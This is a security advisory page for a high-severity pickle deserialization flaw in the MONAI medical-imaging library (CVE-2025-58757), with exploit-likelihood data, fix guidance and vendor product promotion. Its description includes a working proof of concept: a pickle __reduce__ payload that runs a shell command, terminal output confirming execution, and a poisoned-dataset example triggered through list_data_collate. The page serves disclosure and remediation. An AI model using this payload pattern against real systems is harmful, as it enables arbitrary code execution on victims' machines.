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🐍 PyPI

GHSA-p8cm-mm2v-gwjm

HIGH

Monai: Unsafe use of Pickle deserialization may lead to RCE

Also known asCVE-2025-58757PYSEC-2025-142
Published
Sep 9, 2025
Updated
Jun 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk44th percentile-0.45%
0.00%0.52%1.04%1.56%0.3%0.6%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍monai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  
#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImonaiall versions1.5.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p8cm-mm2v-gwjm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-p8cm-mm2v-gwjm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-p8cm-mm2v-gwjm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

>To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.) ### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them u
O3 Security · Impact-Aware SCA

Is GHSA-p8cm-mm2v-gwjm in your dependencies?

O3 detects GHSA-p8cm-mm2v-gwjm across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.